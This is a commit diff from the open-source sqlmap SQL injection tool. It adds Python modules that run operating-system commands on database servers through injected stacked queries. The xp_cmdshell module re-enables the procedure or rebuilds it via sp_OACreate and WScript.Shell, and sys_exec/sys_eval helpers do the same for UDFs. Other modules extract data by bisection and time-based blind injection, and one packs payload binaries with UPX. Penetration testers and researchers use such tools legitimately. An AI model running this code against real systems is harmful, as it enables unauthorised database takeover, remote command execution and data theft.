def __init__(self):
self.createdUdf = set()
self.udfToCreate = set()
def udfExecCmd(self, cmd, silent=False):
cmd = urlencode(cmd, convall=True)
inject.goStacked("SELECT sys_exec('%s')" % cmd, silent)
def udfEvalCmd(self, cmd):
cmd = urlencode(cmd, convall=True)
inject.goStacked("INSERT INTO %s(%s) VALUES (sys_eval('%s'))" % (self.cmdTblName, self.tblField, cmd))
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False)
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if isinstance(output, (list, tuple)):
output = output[0]
if isinstance(output, (list, tuple)):
output = output[0]
return output
def udfInit(self):
errMsg = "udfInit() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException, errMsg

109
lib/takeover/upx.py Normal file
View File

@@ -0,0 +1,109 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import time
from subprocess import PIPE
from subprocess import STDOUT
from subprocess import Popen as execute
from lib.core.common import dataToStdout
from lib.core.common import pollProcess
from lib.core.data import logger
from lib.core.data import paths
from lib.core.settings import PLATFORM
class UPX:
"""
This class defines methods to compress binary files with UPX (Ultimate
Packer for eXecutables).
Reference:
* http://upx.sourceforge.net
"""
def __initialize(self, srcFile, dstFile=None):
if "darwin" in PLATFORM:
self.__upxPath = "%s/upx/macosx/upx" % paths.SQLMAP_CONTRIB_PATH
elif "win" in PLATFORM:
self.__upxPath = "%s/upx/windows/upx.exe" % paths.SQLMAP_CONTRIB_PATH
elif "linux" in PLATFORM:
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
else:
warnMsg = "unsupported platform for the compression tool "
warnMsg += "(upx), sqlmap will continue anyway"
logger.warn(warnMsg)
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
self.__upxCmd = "%s -9 -qq %s" % (self.__upxPath, srcFile)
if dstFile:
self.__upxCmd += " -o %s" % dstFile
def pack(self, srcFile, dstFile=None):
self.__initialize(srcFile, dstFile)
logger.debug("executing local command: %s" % self.__upxCmd)
process = execute(self.__upxCmd, shell=True, stdout=PIPE, stderr=STDOUT)
dataToStdout("\r[%s] [INFO] compression in progress " % time.strftime("%X"))
pollProcess(process)
upxStdout, upxStderr = process.communicate()
warnMsg = "failed to compress the file"
if "NotCompressibleException" in upxStdout:
warnMsg += " because you provided a Metasploit version above "
warnMsg += "3.3-dev revision 6681. This will not inficiate "
warnMsg += "the correct execution of sqlmap. It might "
warnMsg += "only slow down a bit the execution of sqlmap"
logger.info(warnMsg)
elif upxStderr:
logger.warn(warnMsg)
else:
return os.path.getsize(srcFile)
return None
def unpack(self, srcFile, dstFile=None):
pass
def verify(self, filePath):
pass
upx = UPX()

220
lib/takeover/xp_cmdshell.py Normal file
View File

@@ -0,0 +1,220 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject
from lib.techniques.blind.timebased import timeUse
class xp_cmdshell:
"""
This class defines methods to deal with Microsoft SQL Server
xp_cmdshell extended procedure for plugins.
"""
def __init__(self):
self.xpCmdshellStr = "master..xp_cmdshell"
def __xpCmdshellCreate(self):
# TODO: double-check that this method works properly
cmd = ""
if kb.dbmsVersion[0] in ( "2005", "2008" ):
logger.debug("activating sp_OACreate")
cmd += "EXEC master..sp_configure 'show advanced options', 1; "
cmd += "RECONFIGURE WITH OVERRIDE; "
cmd += "EXEC master..sp_configure 'ole automation procedures', 1; "
cmd += "RECONFIGURE WITH OVERRIDE; "
self.xpCmdshellExecCmd(cmd)
self.__randStr = randomStr(lowercase=True)
cmd += "declare @%s nvarchar(999); " % self.__randStr
cmd += "set @%s='" % self.__randStr
cmd += "CREATE PROCEDURE xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int "
cmd += "EXEC sp_OACreate ''WScript.Shell'', @ID OUT "
cmd += "EXEC sp_OAMethod @ID, ''Run'', Null, @cmd, 0, 1 "
cmd += "EXEC sp_OADestroy @ID'; "
cmd += "EXEC master..sp_executesql @%s;" % self.__randStr
if kb.dbmsVersion[0] in ( "2005", "2008" ):
cmd += " RECONFIGURE WITH OVERRIDE;"
self.xpCmdshellExecCmd(cmd)
def __xpCmdshellConfigure2005(self, mode):
debugMsg = "configuring xp_cmdshell using sp_configure "
debugMsg += "stored procedure"
logger.debug(debugMsg)
cmd = "EXEC master..sp_configure 'show advanced options', 1; "
cmd += "RECONFIGURE WITH OVERRIDE; "
cmd += "EXEC master..sp_configure 'xp_cmdshell', %d " % mode
cmd += "RECONFIGURE WITH OVERRIDE; "
cmd += "EXEC sp_configure 'show advanced options', 0"
return cmd
def __xpCmdshellConfigure2000(self, mode):
debugMsg = "configuring xp_cmdshell using sp_addextendedproc "
debugMsg += "stored procedure"
logger.debug(debugMsg)
if mode == 1:
cmd = "EXEC master..sp_addextendedproc 'xp_cmdshell', "
cmd += "@dllname='xplog70.dll'"
else:
cmd = "EXEC master..sp_dropextendedproc xp_cmdshell"
return cmd
def __xpCmdshellConfigure(self, mode):
if kb.dbmsVersion[0] in ( "2005", "2008" ):
cmd = self.__xpCmdshellConfigure2005(mode)
else:
cmd = self.__xpCmdshellConfigure2000(mode)
self.xpCmdshellExecCmd(cmd)
def __xpCmdshellCheck(self):
query = self.xpCmdshellForgeCmd("ping -n %d 127.0.0.1" % (conf.timeSec + 2))
duration = timeUse(query)
if duration >= conf.timeSec:
return True
else:
return False
def xpCmdshellForgeCmd(self, cmd):
return "EXEC %s '%s'" % (self.xpCmdshellStr, cmd)
def xpCmdshellExecCmd(self, cmd, silent=False, forgeCmd=False):
if forgeCmd == True:
cmd = self.xpCmdshellForgeCmd(cmd)
cmd = urlencode(cmd, convall=True)
inject.goStacked(cmd, silent)
def xpCmdshellEvalCmd(self, cmd):
self.getRemoteTempPath()
tmpFile = "%s/sqlmapevalcmd%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
cmd = self.xpCmdshellForgeCmd("%s > %s" % (cmd, tmpFile))
self.xpCmdshellExecCmd(cmd)
self.xpCmdshellExecCmd("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
cmd = self.xpCmdshellForgeCmd("del /F %s" % tmpFile.replace("/", "\\"))
self.xpCmdshellExecCmd(cmd)
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False)
self.xpCmdshellExecCmd("DELETE FROM %s" % self.cmdTblName)
if isinstance(output, (list, tuple)):
output = output[0]
if isinstance(output, (list, tuple)):
output = output[0]
return output
def xpCmdshellInit(self, mandatory=True):
self.__xpCmdshellAvailable = False
infoMsg = "checking if xp_cmdshell extended procedure is "
infoMsg += "available, wait.."
logger.info(infoMsg)
result = self.__xpCmdshellCheck()
if result == True:
logger.info("xp_cmdshell extended procedure is available")
self.__xpCmdshellAvailable = True
else:
message = "xp_cmdshell extended procedure does not seem to "
message += "be available. Do you want sqlmap to try to "
message += "re-enable it? [Y/n] "
choice = readInput(message, default="Y")
if not choice or choice in ("y", "Y"):
self.__xpCmdshellConfigure(1)
if self.__xpCmdshellCheck() == True:
logger.info("xp_cmdshell re-enabled successfully")
self.__xpCmdshellAvailable = True
else:
logger.warn("xp_cmdshell re-enabling failed")
logger.info("creating xp_cmdshell with sp_OACreate")
self.__xpCmdshellConfigure(0)
self.__xpCmdshellCreate()
if self.__xpCmdshellCheck() == True:
logger.info("xp_cmdshell created successfully")
self.__xpCmdshellAvailable = True
else:
warnMsg = "xp_cmdshell creation failed, probably "
warnMsg += "because sp_OACreate is disabled"
logger.warn(warnMsg)
if self.__xpCmdshellAvailable == False and mandatory == False:
warnMsg = "unable to get xp_cmdshell working, sqlmap will "
warnMsg += "try to proceed without it"
logger.warn(warnMsg)
self.envInitialized = True
elif self.__xpCmdshellAvailable == False:
errMsg = "unable to proceed without xp_cmdshell"
raise sqlmapUnsupportedFeatureException, errMsg
self.envInitialized = True
debugMsg = "creating a support table to write commands standard "
debugMsg += "output to"
logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, "varchar(8000)")

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,22 +22,4 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
pass
from lib.core.agent import agent
from lib.core.data import logger
from lib.core.data import paths
from lib.request.connect import Connect as Request
def passiveFuzzing():
logMsg = "executing passive fuzzing to retrieve DBMS error messages"
logger.info(logMsg)
fuzzVectors = open(paths.FUZZ_VECTORS, "r")
for fuzzVector in fuzzVectors:
fuzzVector = fuzzVector.replace("\r", "").replace("\n", "")
payload = agent.payload(newValue=fuzzVector)
Request.queryPage(payload)

View File

@@ -0,0 +1,259 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import threading
import time
import traceback
from lib.core.agent import agent
from lib.core.common import dataToSessionFile
from lib.core.common import dataToStdout
from lib.core.common import getCharset
from lib.core.common import replaceNewlineTabs
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapValueException
from lib.core.exception import sqlmapThreadException
from lib.core.exception import unhandledException
from lib.core.progress import ProgressBar
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
def bisection(payload, expression, length=None, charsetType=None):
"""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
"""
partialValue = ""
finalValue = ""
asciiTbl = getCharset(charsetType)
if kb.dbmsDetected:
_, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced)
else:
expressionUnescaped = unescaper.unescape(expression)
debugMsg = "query: %s" % expressionUnescaped
logger.debug(debugMsg)
if length and not isinstance(length, int) and length.isdigit():
length = int(length)
if length == 0:
return 0, ""
showEta = conf.eta and isinstance(length, int)
numThreads = min(conf.threads, length)
threads = []
if showEta:
progress = ProgressBar(maxValue=length)
progressTime = []
if conf.verbose in ( 1, 2 ) and not showEta:
if isinstance(length, int) and conf.threads > 1:
infoMsg = "starting %d threads" % numThreads
logger.info(infoMsg)
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * length))
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
else:
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
queriesCount = [0] # As list to deal with nested scoping rules
def getChar(idx, asciiTbl=asciiTbl):
maxValue = asciiTbl[len(asciiTbl)-1]
minValue = 0
while len(asciiTbl) != 1:
queriesCount[0] += 1
position = (len(asciiTbl) / 2)
posValue = asciiTbl[position]
forgedPayload = payload % (expressionUnescaped, idx, posValue)
result = Request.queryPage(forgedPayload)
if result == True:
minValue = posValue
asciiTbl = asciiTbl[position:]
else:
maxValue = posValue
asciiTbl = asciiTbl[:position]
if len(asciiTbl) == 1:
if maxValue == 1:
return None
else:
return chr(minValue + 1)
def etaProgressUpdate(charTime, index):
if len(progressTime) <= ( (length * 3) / 100 ):
eta = 0
else:
midTime = sum(progressTime) / len(progressTime)
midTimeWithLatest = (midTime + charTime) / 2
eta = midTimeWithLatest * (length - index) / conf.threads
progressTime.append(charTime)
progress.update(index)
progress.draw(eta)
if conf.threads > 1 and isinstance(length, int) and length > 1:
value = [None] * length
index = [0] # As list for python nested function scoping
idxlock = threading.Lock()
iolock = threading.Lock()
def downloadThread():
try:
while True:
idxlock.acquire()
if index[0] >= length:
idxlock.release()
return
index[0] += 1
curidx = index[0]
idxlock.release()
charStart = time.time()
val = getChar(curidx)
if val == None:
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
value[curidx-1] = val
if showEta:
etaProgressUpdate(time.time() - charStart, index[0])
elif conf.verbose in ( 1, 2 ):
s = "".join([c or "_" for c in value])
iolock.acquire()
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
iolock.release()
except (sqlmapConnectionException, sqlmapValueException), errMsg:
conf.threadException = True
logger.error("thread %d: %s" % (numThread + 1, errMsg))
except KeyboardInterrupt:
conf.threadException = True
print
logger.debug("waiting for threads to finish")
try:
while (threading.activeCount() > 1):
pass
except KeyboardInterrupt:
raise sqlmapThreadException, "user aborted"
except:
conf.threadException = True
errMsg = unhandledException()
logger.error("thread %d: %s" % (numThread + 1, errMsg))
traceback.print_exc()
# Start the threads
for numThread in range(numThreads):
thread = threading.Thread(target=downloadThread)
thread.start()
threads.append(thread)
# And wait for them to all finish
for thread in threads:
thread.join()
# If we have got one single character not correctly fetched it
# can mean that the connection to the target url was lost
if None in value:
for v in value:
if isinstance(v, str) and v != None:
partialValue += v
if partialValue:
finalValue = partialValue
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), finalValue)
else:
finalValue = "".join(value)
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), finalValue)
if isinstance(finalValue, str) and len(finalValue) > 0:
dataToSessionFile(replaceNewlineTabs(finalValue))
if conf.verbose in ( 1, 2 ) and not showEta and infoMsg:
dataToStdout(infoMsg)
else:
index = 0
while True:
index += 1
charStart = time.time()
val = getChar(index, asciiTbl)
if val == None:
break
finalValue += val
dataToSessionFile(replaceNewlineTabs(val))
if showEta:
etaProgressUpdate(time.time() - charStart, index)
elif conf.verbose in ( 1, 2 ):
dataToStdout(val)
if conf.verbose in ( 1, 2 ) or showEta:
dataToStdout("\n")
if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:
infoMsg = "retrieved: %s" % finalValue
logger.info(infoMsg)
if not partialValue:
dataToSessionFile("]\n")
if conf.threadException:
raise sqlmapThreadException, "something unexpected happen into the threads"
return queriesCount[0], finalValue

View File

@@ -0,0 +1,92 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import time
from lib.core.agent import agent
from lib.core.common import getDelayQuery
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.request import inject
from lib.request.connect import Connect as Request
def timeTest():
infoMsg = "testing time based blind sql injection on parameter "
infoMsg += "'%s' with AND condition syntax" % kb.injParameter
logger.info(infoMsg)
timeQuery = getDelayQuery()
query = agent.prefixQuery(" AND %s" % timeQuery)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
start = time.time()
_ = Request.queryPage(payload)
duration = int(time.time() - start)
if duration >= conf.timeSec:
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
infoMsg += "based blind sql injection with AND condition syntax"
logger.info(infoMsg)
kb.timeTest = payload
else:
warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter
warnMsg += "based blind sql injection with AND condition syntax"
logger.warn(warnMsg)
infoMsg = "testing time based blind sql injection on parameter "
infoMsg += "'%s' with stacked query syntax" % kb.injParameter
logger.info(infoMsg)
start = time.time()
payload, _ = inject.goStacked(timeQuery)
duration = int(time.time() - start)
if duration >= conf.timeSec:
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
infoMsg += "based blind sql injection with stacked query syntax"
logger.info(infoMsg)
kb.timeTest = payload
else:
warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter
warnMsg += "based blind sql injection with stacked query syntax"
logger.warn(warnMsg)
kb.timeTest = False
return kb.timeTest
def timeUse(query):
start = time.time()
_, _ = inject.goStacked(query)
duration = int(time.time() - start)
return duration

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

Some files were not shown because too many files have changed in this diff Show More